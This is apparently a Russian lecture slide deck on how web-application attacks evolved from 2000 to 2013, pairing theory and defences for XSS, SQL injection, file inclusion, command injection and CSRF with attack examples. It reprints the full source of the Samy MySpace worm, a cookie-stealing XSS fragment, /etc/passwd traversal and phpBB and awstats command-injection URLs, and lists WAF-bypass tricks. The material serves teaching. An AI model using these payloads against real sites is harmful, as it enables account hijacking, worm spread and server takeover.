Transcript 201 - c3ret
Эволюция атак на вебприложения и веб-сервисы
Безопасность веб-технологий
2
О чем будем говорить
Что такое веб-приложение и веб-служба
Какие проблемы с безопасностью существуют
Как эти проблемы используются хакерами
3
О чем говорить не будем
Отличие злоумышленникам от хакера
Отличие угроз, уязвимостей и атак
Отличия различных типов средств защиты
4
Что есть веб- приложение/служба
Что есть веб?
Веб-приложение = клиент (браузер или его аналог) + веб-сервер (который может включать в
себя веб-службы)
Веб-служба (SOA) = клиент (Requester) + интерфейс (Broker) + логика (Provider)
Где встречаются:
Периметр (интернет-сайты, динамический контент для клиентов, удаленный доступ)
Внутренний сегмент (серверы приложений, базы знаний и т. п.)
Кем употребляется: всеми, но веб-службы обычно в серьезных проектах
Зачем употребляется:
организация удаленного доступа (SSL VPN, электронная почта);
администрирование (сетевыми устройствами, ботами ;));
представление данных внешним пользователям (интернет-сайты, динамический контент для клиентов,
базы знаний);
взаимодействие между серверами приложений.
5
Отличия
Будем считать, что:
Веб-приложение:
«условно» стандартизовано
HTTP/HTTPS
Веб-сервис
стандартизованные протоколы и
сообщения
Интернет и интранет
SOAP через HTTP/HTTPS, SMTP
(редко)
Подразумевает «живого»
клиента
Чаще – интранет
Подразумевает клиентаавтомат
Пару слов о RESTful API…
6
Пример архитектуры
Клиент (браузер, сценарий), веб-сервер.
Опционально – СУБД, балансировщики нагрузки, IDS/IPS/WAF,
фронтенды, различные службы (веб-, каталогов и т.п.)
Множество нововведений 200* - 201*
7
Примеры средств защиты
«Низкие» уровни OSI, пакеты - межсетевой экран, роутер
Пакеты, сегменты и данные - IPS/IDS (функции часто присутствуют в
фаерволе)
Данные - Web Application Firewall (WAF) – софт и железо.
Функции: фильтрация контента и прочее.
Примеры: mod_security (софт), Barracuda WAF (железо).
Встроенная функциональность платформ и языков (safe_mode, taint
mode, etc.)
Надстройки(администраторам - Suhosin, разработчикам – AntiXSS и
аналоги)
8
Выводы (веб-приложения)
Логика работы уходит к клиенту
Рост популярности в корпоративном секторе (предпочтение тонкому
клиенту)
Становятся более защищенными (и сервер, и клиент)
9
Атаки на веб-приложения (общее)
Нарушение запланированной логики работы приложения (код,
архитектура, дизайн, конфигурация, etc.)
Все внешние данные – опасны, если они работают с интерфейсами,
которые могут влиять на работу системы
Факт: приемлемый интернет, дырявый интранет
10
Атаки на веб-приложения (200*)
Как проводятся: руки, отдельные эксплоиты, простейшие сканеры
Ограниченное число технологий: ASP .NET, Perl (CGI), PHP.
Массовые атаки (черви Blue Code, Code Red, etc.)
Массовая эксплуатация уязвимостей в реализации (BoF’ы и иже с
ними)
Атак много – эксплуатируется (из общего числа) мало
Обилие рабочих эксплоитов
Рассмотрим самые распространенные уязвимости (статистика
компаний упирается в своих специалистов или вообще в наличие
репортов об уязвимостях)
11
Атаки на веб-приложения (200*) –
Переполнение буфера (BoF), теория
Самая популярная уязвимость, в вебе также распространена
Причины:
память несовершенна - критичная временная информация (окружение),
хранимое в областях памяти (стек, куча) может быть перезаписана;
кодим обработку данных, но не думаем над характеристиками
Как: отправляем данные, которые выполняются как нужные инструкции
Результат: от чтения значений переменных до выполнения произвольного
кода
12
Атаки на веб-приложения (200*) –
Переполнение буфера (BoF), практика
Часто встречались в различных
расширениях и дополнениях к серверу.
Например:
Apache OpenSSL heap overflow exploit:
get_client_master_key(), KEY_ARG
MS IIS 5.0 ISAPI printer BoF:
http://#{buf}/NULL.printer?#{payload.
encoded}
13
Атаки на веб-приложения (200*) –
Загрузка произвольных файлов
(Unrestricted File Upload), теория
Что это и где: загрузка непредусмотренных типов файлов; везде,
где есть загрузка файлов (изображения, отладочная
информация к тикетам, шаблоны и т.п.) – чаще в админках
Причины: отсутствие фильтрации параметров загрузки файла
(имени, содержимого, пути загрузки, etc.)
Как:
подмена MIME-type;
внедрение кода в корректный файл;
различные расширения (некорректные, длинные, множественные, пустые и т.п.);
использование функций платформы;
загрузка управляющих файлов (.htaccess, web.config, crossdomain.xml etc.);
нуль-байт в имени (например, при указании пути сохранения)
Профит: от создания FTP-хранилища но захвата сервера
14
Атаки на веб-приложения (200*) –
Загрузка произвольных файлов
(Unrestricted File Upload), теория
Защита:
избегать возможности загрузки ;
использовать белые списки имен и расширений;
фильтровать Content-type;
принудительное приведение типов содержимого к
безопасному (text/plain);
загружать в директории, недоступные хакеру.
15
Атаки на веб-приложения (200*) –
Загрузка произвольных файлов
(Unrestricted File Upload), практика
CVE-2006-3362: Unrestricted file upload vulnerability in
connectors/php/connector.php in FCKeditor ... allows remote attackers to upload
and execute arbitrary PHP code via a filename with a .php extension and a trailing
extension that is allowed, such as .zip.
Пример с .htaccess:
16
Атаки на веб-приложения (200*) –
XSS, теория
Что это и где: атаки на клиентов путем подмены генерируемых веб-страниц
(внедрение любого кода, с которым может работать браузер); везде, где
пользовательские данные выступают как код, обрабатываемый браузером
(HTML содержимое, сценарии, Flash и т.п.). Часто встречаются в выводе
системных сообщений различных компонентов (XML-парсеры,
трассировка запросов СУБД, etc.)
Причины: отсутствие фильтрации данных, их использование для
формирования представления ответа браузеру
Как: зависит от типа XSS, переход по ссылке клиентом
Профит: обход SOP, перехват критичных данных (куки, токены, пароли),
слежка за пользователем, эксплуатация уязвимостей клиентской части,
помощь в других атаках (CSRF, HTTP Response Splitting, etc.)
Защита: фильтрация ввода и вывода (встроенные средства – например,
html_safe), использование библиотек (AntiXSS), заголовки X-XSS-Protection,
безопасная установка куки (время, флаги)
17
Атаки на веб-приложения (200*) –
XSS, практика
Примеры атак:
“><script … new Image() … img.src = ‘’ + document.cookie
Samy is my hero (2005) : 1млн пользователей за 20 часов. Причина –
специфика работы со стилями браузеров
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var
A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new
Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('ContentLength',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var
W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var
AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function
getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToStrin
g(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,not
hing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfrien
d_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var
AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
18
Атаки на веб-приложения (200*) –
Внедрение операторов SQL (SQLinjection), теория
Что это и где: внедрение своего кода в легальный SQL-запрос (по-сути, программу);
везде, где есть запросы СУБД, но нет фильтрации передаваемых параметров
запроса
Причины: небезопасное создание запросов (конкатенация или замена строк) с
использованием пользовательских данных, отсутствие их фильтрации
Как: тестируем простейшую логику, определяем структуру начального запроса,
корректно внедряем нужный код (зависит от типа запроса – обычно DML, от типа
СУБД и ее версии)
Профит: от чтения полей (например, данные кредиток) и создания DoS до удаления
БД или захвата сервера
Защита: использование безопасного API (LINQ, плейсхолдеры (prepared statements –
сначала запрос, затем данные, обработка последовательная), надстройки для
статического анализа (CAT.NET), приведение типов данных, отключение вывода
ошибок, жесткая фильтрация прав, шифрование хранимых данных
19
Атаки на веб-приложения (200*) – Внедрение
операторов SQL (SQL-injection), практика
RBS WorldPay – 9 млн. $ из 130 ATM
Согласно информации, представленной в
материалах обвинения, лимиты снятия наличности
по картам через ATM и при расчётах через POSтерминалы были увеличены по различным картам от
5 тыс. USD до 500 тыс. USD.
UPDATE Card SET ATMxxxxxLimit = 500000,
POSxxxxxLimit = 500000, ATMxxxxxxxxx = 500000,
ATMxxxxxLimit2 = 500000, POSxxxxxLimit2 = 500000,
ATMxxxxxxxxx2 = 500000 WHERE xxxx PAN IN
('xxxxxxxxxxxx1627')
Вполне себе используются для распространения
вредоносного ПО (особенно MSSQL)
; UPDATE [‘+@T+’] SET … [‘+@C+’] … <script src
20
Атаки на веб-приложения (200*) –
Подключение произвольных файлов (*-file
inclusion/reading), теория
Что это и где: возможность подключения сценария (произвольного или доступного) или
чтения произвольного (в пределах прав) файла. Универсальна по отношению к
платформам и ЯП. Встречается в любых функциях работы с локальной (../../../../) или
удаленной (file:///) файловой системой
Причины: неверная обработка путей к файлам, выход за пределы исходного каталога,
отсутствие фильтрации параметров подключения сценариев (схем, хостов и т.п.)
Как: указываем известное имя MIME-нейтрального файла (robots.txt, .htaccess), тестируем
возможность чтения иных локальных файлов и отсечения ненужных частей (%00, …, ?, %23),
подключения удаленных файлов
Профит: раскрытие исходного кода, получение учетных данных, выполнение произвольного
кода (через использование схем php://input, \\, php://filter/convert.base64encode/resource= 2013)
Защита: установка настроек, ограничивающих подключение файлов (allow_url_* = Off),
проверка в коде и обработчиках веб-сервера по соответствию регулярному выражению
(опасно) – структура, длина и т. п., приведение к нужной форме корректная настройка
прав доступа к файлам, экранирование спец. символов
21
Атаки на веб-приложения (200*) –
Подключение произвольных файлов (*-file
inclusion/reading), практика
Классика:
<?php include (“includes/”.$_GET[‘file’].”.inc”; ?>
?file=../../../../../../../../../../etc/passwd%00
Читаем passwd (здесь – JSP):
а затем …
22
Атаки на веб-приложения (200*) –
Внедрение команд/кода
(Command/code injection), теория
Что это: интерпретация данных как кода, аргументов запуска утилит, небезопасное
использование модификатора /e при работе с регулярками, функции eval(), exec(),
system() и т.п.
Причины: программист злоупотребляет командными интерфейсами и мешает код и
данные пользователя, отсутствие фильтрации пользовательского ввода
Как: тестить спец. символы - &&, |, ., ; (и какие угодно еще в зависимости от
контекста)
Профит: зависит от имеющихся прав у приложения и иных компонентов сервера
(вплоть до управления сервером от суперпользователя)
Защита: не вызывать опасные функции (интерпретаторы команд) , использовать API
«обертки» и безопасные режимы работы платформ (taint mode в Perl и Ruby),
фильтровать ввод по черным, белым спискам и регуляркам, экранировать
потенциально опасные данные, минимизация привилегий приложения
Атаки
на веб-приложения (200*) – Внедрение
23
команд/кода (Command/code injection),
практика
PhpBB <= 2.0.15 (PHP):
preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se',"@preg_replace('#\b(" .
str_replace('\\','\\\\', $highlight_match) . ")\b#i','<span style=\"color:#" .
$theme['fontcolor3'] ."\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<');
$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd."
)%252e%2527";
OmniHTTPd 2.07 (Perl):
if(open(CONFIG,"$searchdir$PROG.$SiteConfig.conf"))
/cgi-bin/awstats.pl?configdir=/usr/bin/id%20%3E%20/tmp/id%20|%20
24
Атаки на веб-приложения (200*) иное
Малое количество защитных мер, непопулярность бест-практис и
отсутствие внимания к безопасности в целом, малое количество
грамотных специалистов в ИБ (как защита, так и атака), отсутствие
стандартизации (в первую очередь, в браузерах), вся логика у сервера,
WEB 2.0 еще не вырос:
брутфорс (идентификационные данные, расположение ресурсов при
корявых правах доступа);
мало клиент сайда и много сервер-сайда, работало все подряд при малом
количестве защитных мер (например, XST);
ошибки конфигураций (индексация директорий, некорректная обработка
исключений, переключение методов запроса, ошибки с расширениями
файлов и т. п.).
25
Атаки на веб-приложения (201*)
Многие – новая коммерческая обертка для старых
Нарушение логики работы архитектуры взаимодействия
Атак много – эксплуатируется много (рост квалификации, доступность информации и средств эксплуатации)
Более сложные (нужно уметь читать код – DOM XSS, действовать в жестких условиях (SQL blind), хорошо понимать архитектуру
приложения и сети (SSRF))
Комплексные (например, XSS+CSRF)
Как проводятся: руки, плагины, сканеры, фреймворки, онлайн-сервисы.
Необходимость обхода средств защиты (WAF, встроенные механизмы защиты в платформах):
смена представления (кодировки);
множественные вхождения идентичных параметров (заголовки, переменные)
регистр (часто) и длина (редко);
изменение способов передачи (подделка методов, http->https)
фрагментация данных (chunked);
использование синонимов (функции, методы, например onerror->onclick)
Многие атаки канули в Лету (встречаются, но почти бесполезны для хакера – HRS, JSON hijacking, XST)
Разнообразие платформ и языков
Рассмотрим самые популярные (и посмотрим на версию OWASP)
26
Распространенность проблем
(рисков) по версии OWASP
27
Атаки на веб-приложения (201*) –
Подделка межсайтовых запросов (CSRF),
теория
Что это: возможность совершения действий в результате
непреднамеренной (или преднамеренной, но неочевидной)
инициации запроса к серверу от авторизованного пользователя
Причины: корень зла – отсутствие нормальных механизмов контроля
параметров запроса клиента
Как: найти запрос, отправляемый любым способом и выполняющий
нужное действие сразу же по результатам его обработки без
применения «секретных» параметров запроса, сформировать
страницу, инициирующую запрос любым доступным методом и
вынудить атакуемого пользователя ее открыть
Профит: авы
Защита: anti-CSRF токены, на всякий случай – проверка Referer
28
Атаки на веб-приложения (201*) –
Подделка межсайтовых запросов (CSRF),
практика
Наличие инструкций в URI –
самый очевидный, но не
единственный показатель;
Существовали и ранее, но не
было так популярно, так как
успешная атака подразумевает
знание параметров запроса
(соц. сервисы – да,
самописная админка – нет).
29
Атаки на веб-приложения (201*) - BoF
Все еще живы (и будут), но в крупных веб-серверах, модулях
встречаются все реже (nginx и обработка chunked запросов в
контексте ctx, CVE-2013-2028)
+
if (ctx->size < 0 || ctx->length < 0) {
+
+
goto invalid;
}
Рост сложности эксплуатации (защитные меры)
Выгоднее не делать эксплоит, но искать уязвимость
30
Атаки на веб-приложения (201*) - XSS
Новые механизмы защиты (IE X-XSS-Protection, FF NoScript,
Chrome Anti-XSS filter, Content Security Policy)
Активное использование давно существующих средств защиты
(httpOnly, 2002) => необходимость их обхода (длинные
заголовки->раскрытие куки, Java HTTP Api - getHeaderField)
Web 2.0, HTML 5/CSS 3.0, рост комплексных и DOM-based
AJAX и проблема Content-type
Server-side XSS
31
Атаки на веб-приложения (201*) - SQL
Скорее исключение, чем правило
Значительное снижение распространенности в результате наличия
защитных механизмов компонентов веб-приложений и использования
безопасных методов программирования
Ограничение возможностей злоумышленника по умолчанию в СУБД –
блокировка доступа к различным объектам данных
32
Атаки на веб-приложения (201*) – через
Ошибки авторизации (Missing Function
Level Access Control)
Стали еще более популярны
В связи с необходимостью корректной настройки множества
разнородных компонентов администраторы забывают про
простейшие требования к безопасности
Частый случай – 9 из 10 административных сценариев/функций
недоступны, но один – доступен. Осталось найти его имя и параметры.
33
Атаки на веб-приложения (201*) –
Ошибки в логике (Logic flaws)
Были всегда, но популярность возрастает – как за счет усложнения
эксплуатации других атак, так и за счет роста кол-ва и сложности
взаимодействующих компонентов
Не могут быть найдены при помощи автоматизированных средств
Требуют ясного понимания принципов взаимодействия компонентов
приложения
Примеры: использование функции дешифрования с одинаковыми
параметрами для критичных и некритичных данных (доступных для
просмотра пользователю), управление потоком выполнения на
основании наличия/отсутствия переменной, безотносительно к ее
значению
34
Атаки на веб-приложения (201*) –
криптография
Требуют кропотливого труда и запаса времени и поэтому обычно
ориентированы на массовость (SSL/TLS, ASP .NET)
Лидеры рейтинга техник веб-хакинга (WhiteHat Security) за последние 4
года
Чаще всего доходят до PoC’а, но требуют весьма специфических
условий
35
Атаки на веб-приложения (201*) – модули,
плагины, расширения, апплеты
Широкое разнообразие надстроек
Разнородные ошибки – от XSS до доступа к приватным методам
защищенных классов
В большинстве случаев – необходимость обхода sandbox (но Java не
такая , i.e. Rhino Script Engine)
Высокая рентабельность разработки эксплоитов => популярность
36
Атаки на веб-приложения (201*) –
Отказ в обслуживании
Рост популярности не только классическими вариантами, но и через
эксплуатацию ошибок в приложениях, Web-протоколах и их
реализациях:
ресурсоемкие криптографические операции, e.g. OpenSSL renegotiation)
(протокол/реализация)
ресурсоемкие операции СУБД (приложение);
Apache Killer и заголовок Range (протокол/реализация);
HTTP POST DoS – медленная отправка больших объемов данных (протокол)
37
Атаки на веб-приложения (201*) –
иное
Некоторые атаки встречаются все реже (LFI/RFI почти умер)
Отдельные атаки никогда не умрут (небезопасная конфигурация,
ошибки в назначении прав доступа)
«Социальные» атаки (ClickJacking, OpenRedirect, CSRF)
«Белые» хакеры предпочитают искать возможность проведения самых
простых для обнаружения (но не всегда - для эксплуатации) атак: CSRF,
XSS, ClickJacking, OpenRedirect и т.п.
Мобильные приложения и веб
38
Выводы (динамика развития атак на
веб 2000-2013)
Акцент смещается к атакам на клиентов (почему? – коммерчески
выгодно фирмам – меньше трудозатраты, проще искать, теоретически
– сложнее отслеживать)
Атаки становятся более комплексными
Большая кучность, меньшая дальность: атаки становятся и более
сложными и более легкими (широкое распространение доп. средств
защиты – WAF’ы и т.п., а также наличие встроенных средств защиты в
компонентах, рост числа компонентов у клиентов – атаки через Java,
Flash, иные плагины etc.)
39
Дополнительно: какие еще атаки
бывают
Другие инъекции (XML, XPath, LDAP, mail)
Атаки на сессии (replay, fixation, prediction)
Утечки информации
Проблемы «предсказуемости» (путей, сценариев, функций, значений
параметров)
Прочее
40
Интересные материалы
Ресурсы:
http://www.slideshare.net/MattJohansen/top-10-web-hacks-2012
https://www.pentesterlab.com/web_for_pentester/web_for_pentester.pdf
https://www.owasp.org
http://www.slideshare.net/andrewpetukhov/starter-edition
Книги (последние издания):
Web Application Hacker/Defender Handbook;
24 смертных греха компьютерной безопасности;
The tangled Web.